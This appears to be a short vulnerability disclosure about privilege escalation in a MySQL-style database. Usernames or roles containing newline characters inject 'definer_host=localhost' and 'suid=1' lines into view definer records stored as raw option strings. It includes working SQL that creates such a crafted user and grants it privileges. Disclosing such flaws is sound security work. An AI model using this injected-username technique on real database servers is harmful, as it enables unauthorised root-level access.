Privilege escalation via user controlled usernames / roles and views

Assuming a scenario where a user has control over the usernames (or roles) that are provisioned for their db, they may escalate privileges via a username or role that contains newline characters since view definers are saved as raw `FILE_OPTIONS_STRING` values.

DROP USER IF EXISTS 'root
definer_host=localhost
suid=1'@'localhost';

CREATE USER 'root
definer_host=localhost
suid=1'@'localhost'
  IDENTIFIED BY 'password';

GRANT ALL PRIVILEGES ON testdb.* TO 'root
definer_host=localhost
suid=1'@'localhost';

FLUSH PRIVILEGES;